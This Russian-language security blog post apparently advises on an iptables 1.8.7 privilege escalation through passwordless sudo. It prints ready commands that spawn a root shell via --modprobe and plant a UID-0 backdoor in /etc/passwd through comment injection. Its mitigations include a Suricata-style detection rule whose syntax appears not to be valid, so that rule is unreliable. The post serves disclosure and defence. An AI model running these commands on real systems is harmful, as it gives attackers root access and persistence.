Уязвимость утилиты для настройки и управления таблицами правил фильтрации пакетов iptables операционной системы Linux
Уязвимость утилиты для настройки и управления таблицами правил фильтрации пакетов iptables операционной системы Linux
Категория: Программы Теги: Уязвимости Опубликовано: 30 мая 2025

Уязвимость BDU:2025-02342 в iptables

Уязвимость BDU:2025-02342 в утилитах iptables/iptables-save из-за небезопасного управления привилегиями,  позволяющая локальному атакующему выполнить произвольные команды или перезаписать системные файлы (включая /etc/passwd) через инъекцию вредоносных комментариев в правила фильтрации.

Анализ уязвимости

Уровень опасности: Высокий (CVSS 3.0: 7.8)
Вектор атаки: CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

  • Вектор атаки (AV): Локальный

  • Сложность атаки (AC): Низкая

  • Уровень привилегий (PR): Низкий

  • Взаимодействие с пользователем (UI): Не требуется

  • Область воздействия (S): Не оказывает (изменения в пределах одной системы)

  • Влияние на конфиденциальность (C): Высокое

  • Влияние на целостность (I): Высокое

  • Влияние на доступность (A): Высокое

Условия эксплуатации

  1. Атакующий имеет локальный доступ к системе с правами низкоуровневого пользователя.

  2. В конфигурации sudo разрешено выполнение iptables и iptables-save без пароля (NOPASSWD).

  3. Уязвимая версия iptables: 1.8.7.

  4. Отсутствие контроля за содержимым комментариев в правилах фильтрации.


Технический анализ векторов атаки

1. Инъекция через --modprobe (требует отсутствия kernel-модулей)

Механизм:
Флаг --modprobe позволяет указать команду для загрузки kernel-модулей. Если требуемый модуль не загружен, iptables выполняет пользовательскую команду через execv.

Код эксплоита (анализ C-кода iptables):

// xtables_insmod.c (упрощенный фрагмент)
int xtables_insmod(const char *modname, const char *modprobe, bool quiet) {
  char *argv[4];
  argv[0] = (char *)modprobe; // Пользовательская команда!
  argv[1] = (char *)modname;
  execv(argv[0], argv); // Выполнение произвольной команды
}

Эксплуатация:

echo "/bin/bash -i" > payload
chmod +x payload
sudo iptables -L --modprobe=./payload  # Выполняет payload от root

Ограничения:

  • Требует отсутствия модулей ядра (редко в современных дистрибутивах).

2. Перезапись /etc/passwd через комментарии

Механизм:
Комментарии поддерживают символы новой строки (\n). При сохранении правил через iptables-save в /etc/passwd, атакующий может внедрить поддельную запись пользователя с UID 0.

Шаги атаки:

  1. Генерация хеша пароля:

    openssl passwd -1 "evilpassword" # Получаем: $1$Salt$Hash
  2. Формирование вредоносного правила:

    MAL_ENTRY="backdoor:\$1\$Salt\$Hash:0:0:root:/root:/bin/bash"
    sudo iptables -A INPUT -p tcp --dport 80 -j ACCEPT \
      -m comment --comment $'\n\n'"$MAL_ENTRY"
  3. Перезапись /etc/passwd:

    sudo iptables-save -f /etc/passwd

Результат в /etc/passwd:

# Generated by iptables-save...
...
-A INPUT -p tcp --dport 80 -m comment --comment "
backdoor:$1$Salt$Hash:0:0:root:/root:/bin/bash" -j ACCEPT

Система игнорирует некорректные строки, но принимает валидную запись backdoor с паролем evilpassword.


Защита и рекомендации

1. Патчинг и конфигурация

  • Обновление: Установите более новую версию iptables (>=1.8.8).

  • Ограничение sudo:
    В /etc/sudoers замените разрешения на строго контролируемые:

    # НЕВЕРНО:
    user ALL=(ALL) NOPASSWD: /usr/bin/iptables, /usr/bin/iptables-save
    
    # ВЕРНО:
    user ALL=(ALL) PASSWD: /usr/bin/iptables -A INPUT -p tcp --dport 80 -j ACCEPT
  • AppArmor/SELinux:
    Создайте профиль, запрещающий запись в системные файлы:

    /usr/bin/iptables-save {
      deny /etc/passwd w,
      deny /etc/shadow w,
    }

2. Контроль целостности

  • Tripwire/AIDE: Настройте детектирование изменений в /etc/passwd:

    /etc/passwd -> $(ReadOnly);
  • Аудит команд: Мониторинг подозрительных вызовов:

    auditctl -a always,exit -F path=/usr/bin/iptables-save -F perm=x -k iptables_privesc

3. Правила для WAF/IPS

Для host-based IPS (например, Suricata в режиме HIDS):

# suricata.yaml
rule-type: atomic
rule-id: 202502342
msg: "BDU:2025-02342 iptables exploit attempt"
pattern: |
  iptables.*(--comment [^\n]*\\n.*:.*:0:0:)
action: drop,log,alert

Заключение:

Уязвимость критична для систем, где администраторы делегируют управление iptables через sudo без контроля аргументов. Основная мера защиты — принцип минимальных привилегий и аудит конфигураций. Для встраиваемых систем (роутеры, IoT) рекомендован переход на nftables с валидацией входных данных.

Алексей Черемных Алексей Черемных
383